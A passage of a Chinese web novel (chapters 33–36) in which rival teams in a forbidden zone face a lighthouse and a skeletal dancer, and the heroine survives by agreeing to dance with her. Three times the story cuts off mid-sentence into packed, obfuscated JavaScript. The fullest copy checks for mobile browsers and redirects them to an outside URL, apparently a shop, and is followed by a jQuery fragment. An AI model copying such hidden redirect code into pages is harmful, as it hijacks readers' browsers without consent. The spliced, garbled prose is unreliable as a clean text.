事实证明,联邦一行人此刻与她的想法不谋而合。只见那点原本就微弱的烛光倏地被吹灭,这群人的身影也全部遁入黑暗。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连带着同一片土地上的叶抒年等人,以及联邦众人,全都心跳漏了一拍,愣在原地。 仿佛人原本身处某个全黑的房间内,而有人按下了顶灯开关,光在瞬间砸下来,将众人所处的空间照得如同白昼,林子内的一切景象都清晰无比。 霎时间,三拨人面面相觑,站在相距不过几步的空地上,彼此的脸在强光下都看得一清二楚。 林予安早已被禁区内的某些生物磨得没了脾气,看到这突如其来的“三方会晤”后,一蹦三尺高,以为自己撞见鬼了。 而联邦队员对上终律城那些鼻青脸肿的面孔时,先是讪讪地别开视线;紧接着瞥见不远处神色平静的叶抒年等人,以及叶抒年身后持灯而立的检察官,又不由自主地后退了半步。 另一边,阮天清和俞不晚早已抬起随身携带的武器,枪口稳稳指着萧千复和林予安。 而偷窥了半天的叶抒年丝毫不感到尴尬,反倒若无其事地,先看看萧千复紧绷的脸,再看看狼狈的林予安,然后对两人粲然一笑: “你们好啊,好久不见!” 33. 第33章 确实整整一日不见,这一小段时间漫长得像捱过了一年。一时间,众人大眼瞪小眼,谁也没心思纠结天为什么忽然亮了。 在场的,除了叶抒年这几个因误入法庭、而得以短暂喘息的人,其余两队皆已疲惫不堪。以往每次见面都要大打出手的两拨人,这会儿连掀起眼皮挑衅对方的力气都没有。 白日里发生了什么,大家都心照不宣。 尽管那时,联邦小队身处老城区,并不知晓岩壁区究竟发生了什么事,却也将那震耳欲聋的坍塌声听得清清楚楚。 更别说在那之后,他们亲眼目睹整片禁区的异兽倾巢而出、惊恐溃散,想也知道发生了什么。 林予安领着的那队终律城残兵就更别提了。 岩壁塌方时他们正好在台下当观众,被倾巢而出的怪物追着跑不说,刚喘口气,又发现自己不知何时被另一群奇形怪状的东西围成了饺子馅。 这一整天,主打一个“才出虎穴,又入狼窝”,他们前不久才躲开那些人脸怪物的追杀。 在场的毕竟没有真傻子。大家心知肚明,纵使叶抒年一行人运气再好,要在白日那场浩劫中全身而退也绝无可能。 至于她们究竟如何做到……萧千复的目光掠过叶抒年,最终定在她身后那个静立的男人身上。 也不知这几人如何与这尊煞神搭上线的,竟然还能如此相安无事,对方面上的神色和先前对联邦大打出手时截然不同。 心中几个念头转罢,萧千复倒不十分紧张。他没忘记,自己昨夜已经与叶抒年定下了暂时的合作,现在的局面不一定对联邦不利。 因而他意味深长地看了眼叶抒年,又极快地扫过俞不晚和阮天清,以及一旁的林煦言。这几人聚在一处,姿态间有种经过磨合的默契。 另一边,林予安自然也看见了这几人的反应。 他肿着的脸上扯不出什么表情,眼神却在叶抒年、检察官和萧千复之间来回刮了几遍,最后停在萧千复脸上。仿佛在掂量,这位联邦的队长,何时与那棘手的女人搭上了线。 三方人马在天光下对峙,虽然人人脸上都挂着倦色,但身体却都绷着,没人敢放松。 当然,这仅限于联邦和终律城两支队伍,叶抒年等人一路走来没费什么力气,此刻若要打起来,她们绝对不输。 不过,真打起来是不可能的。眼下禁区封锁,时间紧迫,在场所有人说到底都是拴在一根绳上的蚂蚱。此刻起冲突,对谁都没有好处。 因此萧千复收敛了眼底的审视与忌惮,面上不显,只向前半步,目光落在叶抒年脸上,开口时语气寻常,像老友寒暄:“看来你们今天还算顺利。” “哪里哪里,我们几个在山洞里被困了一整天,这不刚刚才钻出来。”叶抒年随口带过,不想透露她们在法庭内的所见所闻。 她目光掠过身侧的贾纯,思考着该如何将这个人的来历瞒过去。 不过她显然多虑了。萧千复与林予安的注意力,几乎全在她与她身后的检察官之间来回打量,顶多林予安偶尔瞥一眼林煦言,眼神闪烁。 叶抒年没在意林予安那副心虚的样子,刚想将话题引到“影子”上。这时,站在她侧后方的俞不晚忽然抬起了眼,目光直直扎向林予安。 “等等。”她的声音不高,却让四周骤然一静。 所有人都看向她。 一个疑点在俞不晚脑中飞快串联。山洞坍塌前,她扣下扳机的时间点自己记得很清楚。那声让岩壁崩毁的巨响,是在她的枪响之后才传来的,中间有大约两秒的空白。 这两秒里,能发生什么? 她的视线扫过林予安身后几人脸上的伤。 那些青紫和擦伤,仔细看,分布有些特别,更多集中在正面和手臂外侧,像是……在抵挡什么迎面而来的冲击?而非被异兽追逐撕扯时常见的背后或侧身伤。 还有一人,脸上蒙着灰黑的污渍。除非这人今天亲自下场挖煤了,否则能造成这种现象的,只有爆炸。 而林予安队伍出现的方向,正是岩壁区所在的方位。 俞不晚盯着林予安那张狼狈的脸,忽然平静地陈述:“山洞塌的时候,我开枪的时间,和塌方声是错开的。” 她往前踏了小半步,目光锁死林予安飘忽的瞳孔:“最初的坍塌……是你们弄出来的吧?” 林予安眼神一飘,随即挺直脊背:“你胡说什么?那个时候我们在林子里,怎么可能是我们?”话虽硬气,脚跟却微不可察地向后挪了一步。 “我还没说山洞是什么时候塌陷的,你心虚什么?” 俞不晚还想追问,却被身旁传来的闷响打断。 “噗——” 她猛地转头,看见阮天清侧着脸,肩背微颤,暗红的血正从指缝间渗出来,点点滴滴洒在枯叶上。 几乎同时,余光里另一侧的林煦言也弯下了腰,整个人蜷缩起来,压抑的咳嗽声从喉咙里挤出来,带着血沫。 这场面让叶抒年也怔住,她看着阮天清指缝间的红,看着林煦言颤抖的脊背,还没明白发生了什么,自己喉间陡然一热。 她下意识抬手去捂,温热的液体已从指缝溢出,顺着掌心流到腕上。 她看着手中的鲜血,愕然抬眼,又见林予安、萧千复,乃至他们身后的队员,全都脸色骤变,有人弯腰咳嗽,有人捂着胸口后退,有人直接跪倒在地。 在场的每一个人,都在呕血。 四下里顿时静了。 倒不是大家被这突发状况吓得沉默,而是实在说不出话。她们失声了。 刚才还充斥对峙与试探的空气,此刻只剩下喘息和血腥味。 怎么回事,被下毒了?叶抒年快速思考着问题来源,可是她们刚才没有吃任何东西。难不成…… 她意识到什么,抹去嘴角的血迹,恍然抬头。 直到这时,她才真正看清,刚才大家以为的天亮究竟是什么。 此刻笼罩着她们的,并不是天光。 光源来自一座高耸的灯塔。此刻它正立在不远处,高昂着头,默然俯视众生,塔顶迸射出的光芒冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钢琴声也更近,每一次琴音都像是敲击在人的神经末梢上。曲子依旧优雅,可几乎每个人都知晓它意味着什么。 雾已经漫过来了。它就藏在琴声里,藏在皮肤上那层越来越重的湿冷里,藏在每一次心脏搏动时耳膜里放大的回响里。 可惜未曾遭遇过异变后迷雾的林予安一行人,仍陷在黑暗中。他们无从知晓,这钢琴声是迷雾来临的序曲。 因此林予安在漫长的死寂中等了又等,终于耐不住性子,带着未消的烦躁与不安开口。 “你们干什么呢?怎么突然不说话了,该不会是死了……” 他只能感受到那阵琴音越来越近,直觉有什么不好的事情即将发生,本能地想要得到回应,以此压住心头翻涌的不安。 可惜他并不知道,在他看不见的地方,一道暗红的身影已经旋转着,走到了他身前。 34. 第34章 虽然闭着眼,叶抒年却依然能够感受到外界的动静。 比如她知道此刻灯塔依然高高伫立,又比如湿冷的雾气正将她包裹,还比如某个熟悉的陌生人,已经站在不远处。 听声响,约莫在林予安的方向。 说实话,她对现在的场面既欣慰又忐忑。一方面,回溯中曾见过的、鲜活美好的梁小絮,竟以这般形态重逢,这算是一种残酷的缘分。 可她也清楚,眼前这位骷髅舞者,恐怕早已失却生而为人的理智,成了眼下最不可控的危险。 因此她不敢懈怠。不能指望贾纯的出现能唤醒对方丝毫神智,必须另寻破局之法。 昨夜场景与眼前的绝境在脑中飞速交叠。当时,这位舞者先是伴随着迷雾行至窗前,而后,因无法触及一窗之隔的观众而暴走。离去前留下三记敲击,与一枚舞鞋印记。 如今想来,叶抒年大概明白了那个标记意味着什么。无非是在诉说曾经难以遗忘的梦想,以及与梦想失之交臂的苦痛。而对于那三声敲击,她没有十分把握,只隐隐有一些猜测。 舞者屡次试图邀人共舞,那些敲击是否与此有关? 她想起先前,联邦队员受到邀请,却因迷雾中须保持静止的规则而未敢回应,最终导致那人即便没有违反规则,但依旧丧命于舞者之手。 是否正因静止本身,构成了另一种拒绝?而拒绝舞者的邀请,正是触发她杀人的条件。 也或许正因如此,舞者在离开联邦营地前,在树干上敲击的次数,比在窗前减少了一下。这一下,象征的极有可能是舞者剩下的邀约次数。 但要这么想,好像也不对,毕竟当时虽然隔着一扇窗,这位舞者也还是向她们做出了一次邀约,只不过由于她的装修能力太过强悍,导致最终没杀到人罢了。 难不成……杀一个人,就可以抵消一次邀请? 这念头如暗夜中擦亮的一星火,转瞬又沉入更深的思虑。这些目前终究只是猜测,具体如何尚需印证。 但棘手之处在于,她们此刻偏偏被困在灯塔之下。目不能视,行动受制,该怎么与雾中那位舞者周旋? 叶抒年苦苦思索仍无头绪,几乎要自暴自弃般想着,要不索性把贾纯祭出去,试试看能不能唤起一些梁小絮的仇恨,任其有仇报仇有冤报冤,直接把这位罪魁祸首抓去蹂躏,好放过她们这些不相干的旁人。 就在这时,她忽然感到一丝不对劲。 视觉上的不对劲。 尽管先前紧闭着眼,但她依然能够感受到来自外界的强烈光芒,可就在刚刚一刹那,眼皮上的光感消失了! 叶抒年猛地睁开眼。 果然,灯塔灭了。浓稠的黑暗重新覆下,只剩林予安手中那支来不及关掉的手电筒,还亮着一小圈光晕,在骤然降临的黑暗里,显得格外孱弱而孤立。 不知为何,她忽觉今日的雾气比昨夜所见稀薄许多。此刻竟能清楚望见那圈光晕,以及光影中僵立的林予安,与那个弯腰的身影。 暗红的裙裾在昏黄光里烧出一片惊心动魄的浓艳。梁小絮,或者说,穿着那身暗红舞裙的骷髅舞者,正缓缓折下腰身,朝闭目僵立的林予安伸出手。 那是一个明确无误的邀请姿态。 林予安仍紧闭着眼,对近在咫尺的存在毫无所觉。 而叶抒年身侧,阮天清与俞不晚已接连察觉到光线变化,几乎同时睁眼,目光齐齐落向那处。 那只关节嶙峋、毫无血肉的手就定在林予安面前,指节微曲,离他的眉心不过半尺。仿佛只要那舞者稍一动念,下一秒就能轻易捏碎他的喉骨。 时间被拉成了细长的丝,仿佛下一秒就要随着林予安的脖颈一起断裂。 叶抒年听见自己心跳撞在耳膜上的声音,紧张不已。 “要救他吗?” 一道少年音忽然钻进她耳朵里,轻得像片羽毛,却惊得她浑身一颤。 她还以为是自己的脑子被什么东西侵入了,僵硬地侧过目光,才发现贾纯不知何时已悄无声息地挪到了她身侧。 这是什么操作?难道贾纯能直接用意念同她交流? “嗯,我刚发现的,能这样直接和你说话。”贾纯的声音再次探进她意识里,有些急促,“不过现在不是说这个的时候,再不做些什么,那个人真的会死。” 在这方面,贾纯非常有话语权。他曾经恬不知耻地暗恋了梁小絮许多年,对她的习惯比谁都清楚。 比如此刻梁小絮看上去还很优雅,但她的耐心正在一点点被消磨,再不做点什么回应,梁小絮就要生气了。尽管他不知道,现在这副模样的梁小絮生气会是什么后果,但看上去不会是什么轻飘飘的事。 所以,要救吗? 叶抒年还在权衡。 她对这个林予安没什么好感,更别提前不久听了俞不晚那一番质问,她已经对山洞内那场“意外”的真相猜到了七八分,这人险些至她们于死地。 如果救人仅仅只需一个意念,叶抒年倒也不介意先将人救下,之后再细细算账。但现在的情况并没有这么简单,此刻她自己动都动不了。 于是她非常轻松地与自己达成了和解。 为一个仇人大费周章,不值当。 她没再理会贾纯先前的询问,转而将意念投向更实际的方向:“所以,你有什么办法能让现在的梁小絮不杀人?” “办法……有是有的。”贾纯的声音在她意识里顿了顿,“只不过可能……” 可能有点费他。 自梁小絮现身起,他便觉得像是被骤然接通了某种频道,关于这片禁区的种种规则自动浮现在意识里。大概因为他如今也算其中的特殊生物之一,有必要了解这些,以便和同事们友好相处。 更强烈的是他体内一种冥冥的感觉,正牵引着他走向那个女孩……去挨打。 也许是法庭的判决生效了,他此刻想要救人的念头也并非出于善意,而是被判决烙下的本能。现在这局面,倒恰巧为他提供了一个赎罪的机会。 这些心声不慎漏进了叶抒年意识里。她沉默一瞬,用意念反问:“你的意思该不会是……你能替人挡灾,比如替我们被梁小絮扭断脖子?” 贾纯:“……” 话糙理不糙,他的确是这么想的。 叶抒年觉得这方案可行,但实在有点缺德,刚要继续追问是否还有更好的方案,却林予安的方向陡然传来一声短促的惊叫。 “啊!” 声音刚一发出,就被扼杀在了喉咙里。 不是林予安的声音。 她急忙朝那片光源望去。 只看见一片尚未散尽的细密血雾,在昏黄光晕中缓缓沉降。 一颗头颅从半空中跌落,滚过枯叶与碎石,一路咕噜噜地滚到她脚边,停下时,那双尚未闭合的眼睛正空洞地对着她。 也不是林予安。 刚才发生了什么? 叶抒年心头一紧,局面骤变,快得令人猝不及防,她原以为最先殒命的会是林予安。她正懊恼刚才的分神,眼前却骤然一暗。 一只手掌从旁伸来,干脆地遮住了她的视线。掌心温热地贴着她的眼皮,力度霸道又温和。 叶抒年一怔,随即皱眉。她猜到了这只手的主人,但她不需要这种保护,尤其是在需要看清局面的时刻。 “手拿开。”她声音里 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叶抒年看见林予安猛地松开手中那具无头尸体,踉跄着向后退去,仿佛被刚才那一幕彻底击穿了理智,连雾中不可移动的铁律都抛在了脑后。 但是他很幸运,舞者正沉浸在音乐中,暂时懒得处理他。 目睹这一切,叶抒年忽然贯通了关窍。 她明白了舞者杀人的规律。的确与她先前的猜想部分吻合,但目前看来还有更关键的一点。 这片雾本身并不杀人,真正的杀机,只来自雾中起舞的那位! 结合她之前的猜想,她判断导致舞者杀人的因素有两个。一是拒绝舞者的邀约,另一个是在雾中移动,这二者都有可能触发舞者的惩罚。 但是,这二者不能同时被惩罚。 就像刚才,当舞者结束一次杀戮后,便会随着已然奏响的乐曲,将这一舞跳至终章。直至曲声将尽,她需要邀请下一位舞伴时,杀意才会再度苏醒,雾中禁止移动的规则也才再度生效。 也就是说,在这一曲终了之前,她们暂时安全。 想通了这一切后,叶抒年立即迈开步子走到阮天清和俞不晚身边,将自己得知的规律告知。 “一曲多久?”阮天清直截了当地问。她目光仍追着雾中那道旋转的红色身影,手下意识拂过腰后短刃的握柄。 “具体不清楚,”叶抒年摇头,“不过这曲子我有印象,昨天也听过,大概还剩三分钟。” “也行,够做点准备了。”俞不晚接话,嘴角斜斜一勾。即便现在局势依然紧张,她也信心满满,甚至有闲心开玩笑,“看来咱还得感谢小絮同学为我们杀个人助兴。” 叶抒年被这地狱笑话逗笑,但一想到接下来还有场硬战,就忍不住皱眉:“话说,我们要怎么利用这些规律对付她?我看跑是来不及了,哪怕离得再远,以咱小絮同学的速度也就几秒钟的路程。” “年年,”阮天清忽然转过脸来,“你刚才是不是说,雾本身杀不了人?” “是啊,”叶抒年点头,“不然咱们现在站这儿说话,早该出事了。” 阮天清点了下头,没再说话,视线却缓缓扫过四周流动的白雾,像在重新丈量这片空间的规则边界。 “就算雾不会杀人,也很难办吧。”林煦言不知什么时候也凑过来了。 他刚刚听了好半天,大概知晓了舞者杀人的规律,现在有一个百思不得其解的疑问,“不能拒绝邀约,和不能在雾中移动,这两条规则不是冲突了嘛,这样一来我们岂不是必死无疑?” 叶抒年也考虑到了这一点,被越来越快的琴音催促着思考。忽然,她灵机一动:“有没有什么办法,将雾和小絮分离开?” 35. 第35章 规则只说人不能在雾中移动,却未禁止在舞者面前行动。若能将迷雾与舞者隔开,收到邀约的人只要不置身雾中,是否就能安全应约? 这念头如电光石火,叶抒年一时忘形,声音不自觉地提高了些。而当她意识到自己刚才做了什么后,抬眼望去,只见周遭数道目光齐刷刷钉在她身上。 不仅近处的阮天清、俞不晚,连几步开外的联邦队员,乃至林予安残部中尚存理智的几人,全都看了过来。那一张张或惊疑或苍白的脸上,纷纷浮起恍然,像是经她这一点拨,被打通了任督二脉。 一时间,场内气氛变得微妙起来。 萧千复那边,几名队员凑近了低声交谈,目光时不时扫向叶抒年又迅速收回,显然在快速商讨对策。 而林予安身后,残存的几名队员已无声地与他拉开了几步距离。刚才那拽人挡刀的一幕太过清晰,信任早已崩碎。此刻他身前唯一的屏障,竟只剩下那具渐渐冰冷的无头尸体。 叶抒年瞥了眼萧千复的方向,见他们仍在密语,便收回视线。对方大概是不打算合作了,这样也好,靠自己人比较安心。 于是她转向阮天清,斟酌着说:“清清,你有没有办法……” 她猜想,阮天清的异能或许对驱散迷雾有帮助,但由于她得知对方异能的方式,实在有些难以启齿,因此犹豫着要不要直接说出口。 阮天清像是早就猜到了她会说什么,伸手在她肩上轻轻一拍,安慰道:“放心,我会尽全力。” 有了阮天清这句话,叶抒年像是吃了一颗定心丸,趁着乐曲尚未终了,她将刚才所想的方案以最简明的语言快速说与众人。 阮天清的异能既是“流体领域”,或可尝试以自身为中心展开力场,将周遭空气中的水汽,即构成迷雾的基础,定向排开,撑出一小片暂时的无雾区。 如此,一旦下一支舞的邀约落在她们之中任何一人身上,便可立即展开力场,为被邀者辟出一处能够活动的安全空间。 这法子自然漏洞不少,能否奏效也未可知,却是当下能想到的最佳对策。阮天清听后,只点头道:“可以试一试。” 这是叶抒年第一次见阮天清动用异能。 这景象并没有她想象中那么声势骇人。阮天清只是眼帘微垂,连指尖都不曾多动一下。她脸上毫无吃力的神色,仿佛只是在倾听风声,或是感受水汽坠落的轨迹。 但周遭的雾,确实动了。 叶抒年最先感觉到皮肤上湿冷触感的消失,仿佛有一层看不见的薄膜自她周身拂过,将那些水汽悄然隔开。 她下意识地屏住呼吸,看着以阮天清为圆心,半径一米左右的区域里,那些白雾,被某种力量向外推开,让出一片逐渐清晰起来的真空区域。 众人第一次如此直观地感受到,“流体领域”这四个字背后意味着什么。 原来这就是力场控制。以如此优雅的方式,对环境中无形之物进行绝对掌控! 这变化只维持了短短几秒。 阮天清眼帘一掀,那片被排开的雾气便像失去了支撑,缓缓回流,重新填补了空白。她额角连一滴汗都没有,只是呼吸略深了一瞬,随即恢复如常。 “这方法可行。”她眉心微蹙,目光扫过那片恢复原状的雾气,“但范围和时间有限。” “能撑多久?”叶抒年感到雾气重新贴上皮肤,隔着渐浓的白雾望向阮天清。 “大约五分钟。”阮天清略作估量后答道。 五分钟。叶抒年心下一沉,这时间不长不短,恰好处在尴尬的临界点。足以应对突发,却不足以覆盖一整支舞曲。 她正思忖着,周遭的钢琴曲调忽然一转,旋律由急促渐趋舒缓,音符如流水般滑向尾声。 每个人都下意识地朝舞者的方向望去。 那道暗红的身影旋转速度正在放缓,裙摆划出的弧线逐渐收拢,像一朵正在闭合的、濒死的花。 时间不多了。 就在这时,一道声音从旁侧传来,冷冽而清晰: “需要帮忙么?” 叶抒年闻声,这才恍然意识到,自己刚才一直忽略了这位存在。 不知何时,检察官已悄无声息地站到了她身侧。她猝然转头,鼻尖几乎擦过那人领口。一缕极淡的气息拂来,无声无息。 她下意识地往后仰了仰,才抬起眼。 昏暗中视野有限,只有远处那支手电筒投来的余光,虚虚地勾勒出他的轮廓。 光线从侧面漫过来,描过他线条清晰的下颌,微抿的唇,再往上便隐入阴影里,只余一个挺拔而沉默的剪影。 叶抒年看着这景象,怔住了。在这种火烧眉毛的紧要关头,她竟然发现,这个男人好像有几分姿色。 “喂。” 肋下被俞不晚不轻不重地戳了一下。 叶抒年猛地回神,倏地向后撤开半步。她耳根有些发烫,为她刚才不合时宜的念头。 她强迫自己摈弃掉刚才那些丢人的想法,重新思考对方的提议。 天下没有免费的午餐,这道理她懂。不过她倒是不介意,在这种关头与对方做个交易。毕竟现在是真的死到临头了,而她作为组织大家陪同她进入禁区的人,不能不对她的队友负责。 因此她自认为非常帅气大方地对那人说道:“请你帮我们延长迷雾扩散的时间,就当做是场交易了,至于报酬……我猜你也不缺物资,所以如果你不嫌弃,我可以为你提供周边荒芜地的一间庇护所,供你修整。” 虽然她并不清楚对方的异能究竟是什么,也不知道这人打算用什么方法帮她,不过她想,一个名声赫赫的禁区常驻者,总该能办到。 检察官闻言,目光在她脸上停留了片刻。那眼神很深,像在审视,又像在压抑着什么,叶抒年甚至捕捉到了一闪而过的、类似不悦的锐光。 但他很快便垂下了眼帘,将那点情绪敛得干干净净,仿佛刚才只是她的错觉。 “成交。” 话音刚落,叶抒年肋下又被不轻不重地捅了一下。 俞不晚凑到她耳边,压着嗓子,语气里满是“你是不是傻”的匪夷所思:“你给他什么报酬?咱们跟他不是暂时联手了吗?这种时候互相搭把手不是应该的?” 叶抒年:“……” 被这么一点,她突然觉得……自己好像,确实,亏大了。 算了,她心想,不过是一处庇护所,她还能建许多。眼下活着出去,才是要紧。 这念头刚落,钢琴曲最后一个音符,消散在潮湿的空气里。 雾似乎更浓了。 那道暗红身影停止了旋转,静立在缭绕的白雾中央。裙摆缓缓垂落,如同谢幕。 雾气在她周身流动,让她的轮廓时隐时现。远处那支手电筒的光已然十分微弱,光线穿透浓雾时被散射成朦胧的一片,勉强勾勒出她嶙峋的肩颈。 空气仿佛凝固了,只剩下雾珠缓慢沉降的微响,以及每个人压抑到极致的呼吸声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107316|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大家都在等待舞者的挑选。 舞者空洞的目光从萧千复紧绷的侧脸,移到林予安惨白的面孔,又滑向叶抒年这边。那注视令人毛骨悚然,仿佛在掂量,寻找下一个共舞的幸运儿。 即便有了刚才与阮天清的计划部署,以及检察官的约定,叶抒年依然感到自己后背渗出细密的冷汗。 她能感觉到,那视线在自己脸上停留了一瞬。下一秒,它可能就会定格,然后那只苍白的手骨,便会穿透雾气,向她伸来。 人的预感有时就是如此精准。 那道雾中的身影,动了。对方跳跃旋转着,朝叶抒年的方位走来。 暗红的裙裾在浓白的水汽里绽开,如同滴入水中的血,下一刻便倏然逼近眼前。 叶抒年不敢眨眼,只能睫毛微颤着直视对方,在心中祈祷对方只是虚晃一枪,接下来赶紧换个舞伴。 这距离近得能看清每一根骨节的纹路,能嗅到那股陈旧的血腥气息。 而舞者微微歪了歪头,似乎正好奇地打量着叶抒年。随即,她向前倾身,伸出了手。 这下真的尘埃落定了。 叶抒年能感到,侧后方投来的两道目光几乎要将她后背灼穿。不用回头也知道,那个方向是俞不晚和林煦言。这俩人此刻大概比她这个当事人还要紧张。 她硬着头皮看向面前的舞者,忽然感到周身湿冷的包裹感消失了。 阮天清的力场展开得非常及时,以叶抒年为中心,半径约莫两步内的雾气被推拒开来,形成一小片安全地带。 空气忽然变得干燥,远处微弱的灯光透过雾的边界渗进来,在地面投下模糊的光晕。 她站在这圈暂时的安全区里,视线第一次毫无阻隔地对上近在咫尺的舞者。 那只白骨之手仍悬在半空,指节微曲,静待回应。 叶抒年深吸一口气,她抬起手,将掌心向下,虚虚悬停在对方手骨上方几寸处,几秒后,才彻底将手搭在对方掌心。 她接受了梁小絮的邀请。 就在她指尖触及对方的瞬间,新的舞曲悠扬地飘来。 旋律比先前那支更缓,舞者的手骨轻轻一转,托住她的手指,带着她向雾气中央滑去。 阮天清的力场随着她们移动,而叶抒年借着远处微弱的光晕,勉强能看清舞者脚尖点地的节奏,看清她肩胛骨的起伏。她努力模仿着,脚步起初还有些慌乱。 但很快,她察觉到舞者的动作在放慢,每一个旋转、每一次抬手,都像拆解开的慢动作,等着她跟上。 对方在引导她。甚至会在她险些踩错拍子时,轻微地顿一下,紧接着将她重新带回正确的节奏里。 叶抒年渐渐跟上了节奏。呼吸虽还有些急促,但步伐开始有了韵律。 除此以外,她察觉到,对方似乎真的只是想跳一支舞。 或许是经年遗憾筑成高台,将这位忧伤的少女禁锢在不落之地,悬浮太久,也不曾遇到真正欣赏她的观众,这才导致了舞者固执地一次次邀请舞伴。 大抵只有这样,她才能收获片刻尊重,在众人的目光中,用舞姿诉说冤屈。 事情进展得很顺利,梁小絮似乎对这位舞伴很满意,整个过程中都表现得温婉可爱,全然不见之前的森然杀意。 就在叶抒年以为自己即将通关,只要接下来不出茬子就能化险为夷时,头顶,一束强烈的白光倏地投射下来,一扫她脚下的阴霾,只将人的影子刻画得清晰。 灯塔亮了。 36. 第36章 这次的光圈比刚才那如同白昼的架势要小不少,却不偏不倚,落在叶抒年身上。 好在她反应极快。 在感受到强光刺下的瞬间,她眼皮一阖,将视线死死锁在黑暗里。 然而,她虽及时闭了眼,脚下的步子却到底乱了。 她踏出去的步伐忽地踉跄,像是突然踩空了一层台阶,先前勉强跟上的拍子顿时散得七零八落。 这画面在围观的众人看来,就成了这样一番视觉冲击。 前一刻,叶抒年的舞步还维持着脆弱的平衡,像初春河面上将融未融的薄冰,承载着一只试探伸爪的猫。 而强光如舞台光束投下的刹那,那层薄冰轰然炸裂。 小猫在空中惊惶一闪,化为被细绳捆住后腿的青蛙,四肢在虚空中划出慌乱的弧线;旋即又蜕变成滚进古董瓷器店的醉汉,左脚踢翻元青花梅瓶,右肘扫倒整排珐琅彩绘杯碟,在满地碎片中上演着一出毁灭大戏…… 旁观的几颗心同时提到了嗓子眼。 阮天清指节绷得发白,俞不晚目瞪口呆,一时不知是该紧张还是该憋笑,林煦言更是险些破功,差点跟着叶抒年的步子跪下。 就在众人、包括叶抒年自己,都恨不得闭上眼直接躺在地上装死,撂挑子不干的时候,头顶那片笼罩一切的炽白,忽然又熄灭了。 世界重归昏暗。 叶抒年唰地睁眼,手忙脚乱地去寻雾中那抹暗红身影。 她试图抢救自己那套早已叛变的舞步,胳膊腿儿一阵毫无章法地扑腾,努力想粘回原来的节拍上。 那副德行,活像一只突然被倒提着甩了几下、然后被要求立刻走猫步的螃蟹。 对面的梁小絮静默地看着她这番挣扎。那微微偏头的姿态,竟莫名透出一种“算了,外行,条件有限,凑合过吧”的意味。 她甚至几不可察地放慢了半个拍子,等那只螃蟹勉强把顺拐的腿掰回同一边。 叶抒年心中刚升起一丝侥幸,觉得自己好像又能抢救一下,脚尖颤巍巍地试图找回一点最初的优雅。 唰! 头顶,灯塔像是掐准了戏弄她的时机,再度光芒大放。 强光第二次泼洒下来,如同舞台追光灯,死死钉住了这位全场最手忙脚乱的主演。 没完了是吧! 叶抒年被这破灯气的不轻,想着早知道这玩意这么欠,当初在回溯里就该摸清线路,一把掐了它的电闸! 可惜愤懑无用。失去动作参照的主演本人,只能凭着三秒前的肌肉记忆和满心悲愤,再度沦为溜冰的螃蟹。 更可气的是,这破灯塔居然玩上了瘾。在终曲最后那一小段音乐里,它像个恶作剧得逞的顽童,开始疯狂地明灭闪烁。 一亮,一暗,再亮,再暗……短短一分钟内,反复了十来次。 而浓雾深处,被迫全程目睹了这场“灯光行为艺术”与“人类返祖舞蹈”的梁小絮同学,像是遭到了从业生涯中的最大挑战。 她无奈地立在光海中央,如同一位被分到最差舞伴却还得硬着头皮跳完全场的首席,纵容着对方把探戈跳成广播体操,把华尔兹扭成康复训练。 二人就这么毫无默契地配合着,终于,在叶抒年第十一次不小心猜到梁小絮的脚趾骨,碎碎念说出第不知多少句“对不起对不起”后,最后一声琴音落下,这支舞总算是匆匆忙忙跌跌撞撞地跳完了。 叶抒年小心翼翼地收回不小心踩在对方趾骨上的脚,宛如一只做了坏事被发现的小猫,偷偷摸摸缩回爪子。而后静静等待着对方先做出下一步动作。 她心虚地睁大眼看着对方,企图通过这种方式,让舞伴感受到她眼中百分百的真诚。 不管怎么说,这支舞算是全须全尾地跳完了,有惊无险。姨年纪大了,比不得你们小年轻身子骨利索,四肢协调性难免差了点,莫要压力姨…… 令她欣慰的是,梁小絮似乎并没有因她刚才让人眼前一黑的表现而生气。 那具骸骨静静立于渐薄的雾中,然后对着她,缓缓地欠了欠身。这是一个姿态优美的谢幕礼,让人幻视回溯中,舞台上的翩然身姿。 叶抒年望着眼前的舞者,有一瞬间的恍惚。透过这具白骨,她仿佛穿越百年,见到了那个尚且血肉饱满、鲜活明媚的少女。 笑意明亮,眼神清澈,穿着那身红舞裙,在属于她的舞台上盈盈行礼。 也就在这一刻,她倏然察觉,周身那粘稠湿冷的压迫感,消失了。 雾,不知何时已散得无影无踪。空中再无一丝水汽,视野重新变得清晰而开阔。风穿过林间,带着夜深的凉意,吹在皮肤上,是久违的、属于正常世界的干爽。 禁锢解除,所有人都能自由行动了。 她环顾一圈。 萧千复与残余的联邦队员站在不远处,脸上还凝着未散的惊愕,目光定定地落在她身上。 终律城那几人已不见踪影,只余地上几道仓促拖曳的痕迹,消失在更深的林影里。大约是趁着所有人的注意力都被那场荒诞的共舞钉在原地时,悄无声息地溜了。 而俞不晚和阮天清仍站在原地。 俞不晚抱着手臂,目光从梁小絮身上移开,与她对上时,嘴角恣意张扬地扬起。她抬手,用指背蹭了蹭眼角,动作快得几乎让人以为是错觉。 阮天清则对她微微点了点头,那双总是沉静的眼睛里,掠过一丝如雾气彻底消散般的松懈。 